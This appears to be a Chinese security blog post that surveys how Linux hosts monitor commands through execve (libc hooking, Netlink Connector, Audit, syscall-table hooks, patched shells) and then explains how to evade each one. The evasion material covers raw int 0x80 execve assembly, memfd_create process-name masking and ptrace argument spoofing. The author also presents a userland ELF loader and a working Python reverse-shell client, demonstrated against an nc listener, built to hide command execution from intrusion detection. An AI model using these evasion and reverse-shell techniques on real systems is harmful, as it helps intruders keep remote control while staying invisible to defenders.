查看原文
其他

无"命令"反弹shell-逃逸基于execve的命令监控(上)

七夜安全 七夜安全博客 2021-01-04

微信公众号:七夜安全博客 关注信息安全技术、关注 系统底层原理。问题或建议,请公众号留言。


一.前言

本篇聊一聊 新的主题:《反弹shell-逃逸基于execve的命令监控》,打算写一个专题,预估可以写三篇,内容确实有点多,也是最近研究了一些有意思的东西,想给大家分享一下。喜欢的话,请大家一定点在看,并分享出去,算是对我原创最大的支持了。如何想看新方法,直接到最后。

二.Shell命令监控

在linux中,大家用的比较多的是shell命令,同样在渗透到linux服务器,植入木马后,探测信息,执行恶意操作,维持权限,横向移动,shell命令也是必不可少的。既然在攻击侧,shell命令如此重要,那在安全防御方面,shell命令的监控也是非常关键的检测维度。各大厂商,一般怎么监控shell命令的调用呢?

2.1 基于execve的shell命令监控

系统命令,其实就是一个个程序,执行起来也就是一个个进程。命令执行的监控,也就是对外部进程创建的监控。在linux中,启动外部进程,是通过execve系统调用进行创建的,我们使用strace 打印一下在bash中启动ls的系统调用,第一句就是通过execve启动ls。


但是我们在开发linux程序的时候,执行系统命令,并没有直接使用execve系统调用,这是因为libc/glibc库对execve系统调用封装成了函数,方便我们调用。


因此基于execve的系统命令监控方式,分成了用户态和内核态。用户态通过劫持libc/glibc的exec相关函数来实现,内核态则通过系统自身组件或者劫持execve syscall 来实现。

1.用户态

在libc/glibc中,对execve syscall 进行了一系列的封装,简称exec族函数。exec系列函数调用时,启动新进程,替换掉当前进程。即程序不会再返回到原进程,具体内容如下:

  1. int execl(constchar*path,constchar*arg0,...,(char*)0);

  2. int execlp(constchar*file,constchar*arg0,...,(char*)0);

  3. int execle(constchar*path,constchar*arg0,...,(char*)0,char*const envp[]);


  4. int execv(cosnt char*path,char*const argv[]);

  5. int execvp(cosnt char*file,char*const argv[]);

  6. int execve(cosnt char*path,char*const argv[],char*const envp[]);

怎么劫持libc/glibc中的函数,我就不扩展了,大家google一下 so preload 劫持

2.内核态

在内核态监控其实是最准确,而且是最难绕过的。在内核态,一般是通过三种办法来监控:

  1. Netlink Connector

  2. Audit

  3. Hook execve syscall

(1)  Netlink Connector

在介绍 Netlink Connector 之前,首先了解一下 Netlink 是什么,Netlink 是一个套接字家族(socket family),它被用于内核与用户态进程以及用户态进程之间的 IPC 通信,ss命令就是通过 Netlink 与内核通信获取的信息。

Netlink Connector 是一种 Netlink ,它的 Netlink 协议号是NETLINK_CONNECTOR,其代码位于:

  1. https://github.com/torvalds/linux/tree/master/drivers/connector

其中 connectors.c 和 cnqueue.c 是 Netlink Connector 的实现代码,而 cnproc.c 是一个应用实例名为进程事件连接器,我们可以通过该连接器来实现对进程创建的监控。

实现方案:


(引用来源:https://4hou.win/wordpress/?p=29586)


说明

  • linux内核提供连接器模块与进程事件收集机制,无需任何改动,只需要在linux>2.6.14开启即可。通过 cat/boot/config-$(uname-r)|egrep'CONFIGCONNECTOR|CONFIGPROC_EVENTS'就可以查看。

  • 在用户态实现轻量级ncp(netlink connector process)应用程序接收netlink进程事件消息

优点

轻量级,在用户态即可获得内核提供的信息。

缺点

仅能获取到 pid,详细信息需要查/proc/pid/,这就存在时间差,可能有数据丢失。


(2)  Audit

Audit 是 Linux 内核中用来进行审计的组件,可监控系统调用和文件访问,具体架构如下:

架构说明

  1. 用户通过用户态的管理进程配置规则(例如图中的 go-audit ,也可替换为常用的 auditd ),并通过 Netlink 套接字通知给内核。

  2. 内核中的 kauditd 通过 Netlink 获取到规则并加载。

  3. 应用程序在调用系统调用和系统调用返回时都会经过 kauditd ,kauditd 会将这些事件记录下来并通过 Netlink 回传给用户态进程。

  4. 用户态进程解析事件日志并输出。

优点

  • 组件完善,使用 auditd 软件包中的工具即可满足大部分需求,无需额外开发代码。

  • 相比于 Netlink Connector ,获取的信息更为全面,不仅仅是 pid 。

缺点

性能消耗随着进程数量提升有所上升。


(3)  Hook execve syscall

除了Netlink Connector 和 Audit 这两种Linux 本身提供的监控系统调用方式,如果想拥有更大程度的可定制化,就需要通过安装内核模块来对系统调用进行 hook。

目前常用的 hook 方法是通过修改syscall table(Linux 系统调用表)来实现,原理是系统在执行系统调用时是通过系统调用号在syscalltable中找到相应的函数进行调用,所以只要将syscalltable中execve对应的地址改为我们安装的内核模块中的函数地址即可.

具体细节请参考:驭龙 HIDS实现进程监控,里面已经介绍的非常详细了,不再赘述。

优点

高定制化,从系统调用层面获取完整信息。

缺点

  • 开发难度大,非常考验开发人员的技术功底。

  • 兼容性差,需针对不同发行版和内核版本进行定制和测试。


2.2 基于 Patch Shell解释器的命令监控

基于 Patch Shell解释器的命令监控是基于execve的系统命令监控的补充方案,因为通过监控execve系统调用的方式,理论上可以完全覆盖系统命令的调用,那为什么还要 Patch Shell解释器呢?大家别忘了,shell不仅可以调用外部系统命令,自身还有很多内置命令。内置命令是shell解释器中的一部分,可以理解为是shell解释器中的一个函数,并不会额外创建进程。因此监控execve系统调用是无法监控这部分的,当然能用作恶意行为的内置命令并不多,算是一个补充。如何判断是否是内置命令呢?通过type指令,示例如下:

  1. [root@localhost ~]# type cd

  2. cd is a Shell builtin

  3. [root@localhost ~]# type ifconfig

  4. ifconfig is/sbin/ifconfig

完整的内置命令列表,请参考 shell内置命令[http://c.biancheng.net/view/1136.html]。

如何Patch Shell解释器 ? 原理很简单,对shell解释器的输入进行修改,将输入写入到文件中,进行分析即可。shell解释器很多,以bash举例:

  1. 通过 -c 参数输入命令

  2. 通过stdin输入命令。

在这两个地方将写文件的代码嵌入进去即可。


三.已知对抗Shell命令监控方法

以上讲解了现有Shell命令监控方法,下面一一进行击破。对抗命令监控一般是在三个方面动手脚:

  1. 绕过Shell命令监控方法,使之收集不到命令执行的日志。

  2. 无法绕过命令监控,但是能篡改命令执行的进程和参数,使之收集到假的日志

  3. 无法绕过监控,也无法篡改内容, 猜测命令告警的策略并绕过(例如通过混淆绕过命令静态检测)

在上述的三个方法中,第一种和第二种方法算是比较根本的方法,没有真实的数据,策略模型就无法命中目标并告警,第三种方法需要较多的经验,但是通过混淆命令绕过静态检测策略,也是比较常见的。

3.1 无日志-绕过Shell命令监控 

已知的绕过命令监控的方案:用户态glibc/libc exec劫持,Patch Shell解释器,内核态的execve监控,均可被绕过。

1. 绕过glibc/libc exec劫持

方法1:glibc/libc是linux中常用的动态链接库,也就是说在动态链接程序的时候才会用到它,那么我们只需要将木马后门进行静态编译即可,不依赖系统中的glibc/libc执行,就不会被劫持。

方法2: glibc/libc是对linux系统调用(syscall)的封装,我们使用它是为了简化对系统调用的使用,其实我们可以不用它,直接使用汇编 sysenter/int 0x80指令调用execve系统调用,下面是使用int 0x80调用execve syscall的简写代码:

  1. mov byte al, 0x0b # 好了,现在把execve()的系统调用号11号放入eax的最下位的al中

  2. mov ebx, esi # 现在是第一个参数,字符串的位置放入ebx

  3. lea ecx, [esi+8] # 第二个参数,要点是这个参数类型是char **, 如果/bin/sh有其它参数的话,整个程序写法就又不一样了

  4. lea edx, [esi+12] # 最后是null的地址,注意,是null的地址,不是null,因为写这是为了shellcode做准备,shellcode中不可以有null

  5. int0x80 

当然还有其他方法,比如重写LD_PRELOAD环境变量,这样的动作太大,就不讲了。

2. 绕过Patch Shell解释器

方法1:不使用shell解释器执行命令,直接使用execve 方法2:不使用被Patch的shell解释器,例如大家常用的bash被patch,那你可以使用linux另一个 tcsh解释器来执行命令。

  1. [root@VM_0_13_centos ~]# tcsh -c "echo hello"

  2. hello


3.绕过内核态execve syscall

只要你使用了execve执行了命令,就绝对逃不过内核态execve syscall的监控,太底层了,除非你把防御方的内核驱动给卸载了。既然如此,那怎么绕过呢?

方法很简单,就是不使用execve系统调用。(不是废话)


大家想想为什么会有反弹shell? 为什么要弹shell? 

其实是我们想借用linux中自带的系统命令来达到我们的目的,尤其是在linux中以系统命令操作为主。

以 ls 命令为例子,功能是查看目录中有哪些文件,假如我们不想使用ls命令,那我们有什么办法呢?

那就自己写一个类似功能程序的代码,然后执行就可以了。既然不想使用execve启动进程来执行,那直接在木马中执行shellcode就ok了。

我以python shellcode为例子(你也可以写 汇编 shellcode):

  1. ls_shellcode = '''

  2. import os


  3. dst_path = '{dst_path}'


  4. dirs = os.listdir(dst_path)


  5. for file in dirs:

  6. print(file)


  7. '''

  8. exec(ls_shellcode.format(dst_path = "C:/"))

输出:

  1. $Recycle.Bin

  2. DocumentsandSettings

  3. Intel

  4. pagefile.sys

  5. PerfLogs

  6. ProgramFiles

  7. ProgramFiles(x86)

  8. ......

这样根本不会出现execve系统调用,你要把shellcode通过网络传输过来即可。

隐秘还是挺隐秘的,缺点就是费事,尤其是写汇编shellcode的时候,linux中使用的命令还是挺多的,而且自己写的shellcode,也没有原始linux命令使用的亲切感。


3.2 假日志 - 混淆进程名与进程参数

1.混淆进程名

在linux中有个syscall,名字叫做memfd_create (http://man7.org/linux/man-pages/man2/memfd_create.2.html)。

memfd_create()会创建一个匿名文件并返回一个指向这个文件的文件描述符.这个文件就像是一个普通文件一样,所以能够被修改,截断,内存映射等等.不同于一般文件,此文件是保存在RAM中.一旦所有指向这个文件的连接丢失,那么这个文件就会自动被释放

这就是说memfd_create创建的文件是存在与RAM中,那这个的文件名类似 /proc/self/fd/%d,也就是说假如我们把 ls命令bin文件使用memfd_create写到内存中,然后在内存中使用execve执行,那看到的不是 ls,而是执行的 /proc/self/fd/%d ,从而实现了进程名称混淆 和无文件。

具体看这篇文章(http://www.polaris-lab.com/index.php/archives/666/),非常详细,还有例子说明。

2.混淆进程参数

使用的是linux中另一个syscall: ptrace。ptrace是用来调试程序用的,使用execve启动进程,相对于自身来说是启动子进程,ptrace 的使用流程一般是这样的:

父进程 fork() 出子进程,子进程中执行我们所想要 trace 的程序,在子进程调用 exec() 之前,子进程需要先调用一次 ptrace,以 PTRACETRACEME 为参数。这个调用是为了告诉内核,当前进程已经正在被 traced,当子进程执行 execve() 之后,子进程会进入暂停状态,把控制权转给它的父进程(SIGCHLD信号), 而父进程在fork()之后,就调用 wait() 等子进程停下来,当 wait() 返回后,父进程就可以去查看子进程的寄存器或者对子进程做其它的事情了

假如我们想执行 ls-alh,在上文中 ls 已经可以被混淆了。接下来使用ptrace 对 -alh进行混淆。大体的操作流程如下:

  • 第一步:首先我们fork出来一个子进程,然后在子进程中先调用ptrace,接着执行execve("ls xxxxxx"),这个时候基于execve监控到的就是一个假参数

  • 第二步:既然传入的是假参数,那肯定是是无法执行到想要的结果,这个时候父进程等待子进程execve后停下来,然后修改传入参数的寄存器,将其修改为 -alh,最后接着让子进程继续运行即可。

具体请看这篇文章:http://www.polaris-lab.com/index.php/archives/667/,不再赘述。


四.新方法-无"命令"反弹shell


在已知的绕过方法中,通过shellcode方式绕过内核态的execve监控,算是相对优雅的方式了,我比较喜欢这种,但是这种方式又太麻烦,linux的命令我都要重写成shellcode, 而且显示方式肯定没有原来这么可爱

主要是懒。。。。

其实我的需求很简单:


我既想要linux命令原有的功能,又不想用execve syscall的方式启动


想了想,为什么不能将linux 命令直接当成shellcode来执行呢?


本质上就是重写execve,实现用户态加载elf文件,即 elf loader。


4.1 elf loader

elf loader的作用,简单来讲是将elf文件读到内存中,然后将eip指针指向elf的入口即可,这样就和shellcode一样直接运行了。下面展示一下我写的elf loader的效果:

  1. [root@VM_0_13_centos ~]# ./loader /bin/ls /etc/ -alh

  2. total 1.6M

  3. drwxr-xr-x. 98 root root 12KNov2519:14.

  4. dr-xr-xr-x. 19 root root 4.0KDec821:36..

  5. drwxr-xr-x. 4 root root 4.0KApr212016 acpi

  6. -rw-r--r--. 1 root root 16Apr212016 adjtime

  7. -rw-r--r--. 1 root root 1.5KJun72013 aliases

  8. drwxr-xr-x. 2 root root 4.0KOct1320:47 alternatives


  9. ......


咱们看看有没有用到execve,使用strace打印一下系统调用,没有出现对 ls的调用过程。

为了防止被用户态劫持,里面的所有和系统有关的函数,都是通过系统调用的方式。



4.2 反弹shell

根据这个loader, 我简单写了个反弹shell,比较简陋。客户端代码如下:

  1. import socket # 导入 socket 模块


  2. bin_paths=["/usr/bin/","/bin/","/sbin/","/usr/local/sbin/","/usr/sbin/"]


  3. s = socket.socket() # 创建 socket 对象

  4. host = "127.0.0.1"#

  5. port = 8877# 设置端口号


  6. s.connect((host, port))

  7. content = s.recv(1024)

  8. while content:

  9. cmd_str = content.decode('utf8').strip()

  10. cmds = cmd_str.split()

  11. cmd_bin_path = None

  12. cmd_args = ""

  13. if len(cmds)<1:

  14. content = s.recv(1024)

  15. else:

  16. for bin_path in bin_paths:

  17. if os.path.exists(os.path.join(bin_path,cmds[0])):

  18. cmd_bin_path = os.path.join(bin_path,cmds[0])

  19. break

  20. if len(cmds)>1:

  21. cmd_args = " ".join(cmds[1:])

  22. if cmd_bin_path:

  23. p = subprocess.Popen(" ".join(["./loader",cmd_bin_path,cmd_args]), stderr=subprocess.STDOUT, stdout=subprocess.PIPE, shell=True)


  24. s.send(p.stdout.read())

  25. content = s.recv(1024)

  26. else:

  27. s.send(" ".join([cmd_str,"not found\n"]))

  28. content = s.recv(1024)

接着在本机使用 nc启动一个服务端: nc-vv-l-p8877,反弹shell跑起来,执行个ls命令:

  1. [root@VM_0_13_centos ~]# nc -vv -l -p 8877

  2. Ncat: Version7.50( https://nmap.org/ncat )

  3. Ncat: Listening on :::8877

  4. Ncat: Listening on 0.0.0.0:8877

  5. Ncat: Connectionfrom127.0.0.1.

  6. Ncat: Connectionfrom127.0.0.1:57430.

  7. ls

  8. 1

  9. 1.c

  10. 1.html

  11. 1.txt

  12. 25E77E5009315BF1591DF8ED0CCDBB34

  13. 2b07db3c02e8d33f44c6ae25c5461dd9

  14. 2b07db3c02e8d33f44c6ae25c5461dd9.dump

  15. 8dfca97bd479e458c780af4f051850ce

  16. ......

这样的情况下,主机上只能监控到一个网络连接,命令不能作为一个检测维度了,这样难度就大很多。

4.3 不足

这个方案暂时还不够完美,主要是以下几点:

  • 首先loader落地了,容易被杀软检测到。

  • 执行loader依然用的是execve

  • 对输入参数没有隐藏

最优的效果是 无文件,无命令,无进程,无参数

接下来的文章,我们会继续优化这个方案,达到理想的效果。

最后

这篇文章写了三个星期,主要是工作挺忙了,每天写一点,后台也有朋友经常催更的,很抱歉了。

最近工作方面也取得一些短暂的进展,运气还是会倾向于努力的人


继续战斗,敬请期待。


参考文献:

http://www.polaris-lab.com/index.php/archives/667/;

https://segmentfault.com/a/1190000019828080


推荐阅读:

APT组织武器:MuddyC3泄露代码分析

Python RASP 工程化:一次入侵的思考

教你学木马攻防 | 隧道木马 | 第一课

一个Python开源项目-哈勃沙箱源码剖析(下)


如果大家喜欢这篇文章的话,请不要吝啬分享到朋友圈,并置顶公众号。

关注公众号:七夜安全博客

回复【8】:领取 python神经网络 教程 

  • 回复【1】:领取 Python数据分析 教程大礼包

  • 回复【2】:领取 Python Flask 全套教程

  • 回复【3】:领取 某学院 机器学习 教程

  • 回复【4】:领取 爬虫 教程

  • 回复【5】:领取编译原理 教程

  • 回复【6】:领取渗透测试教程

  • 回复【7】:领取人工智能数学基础


    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存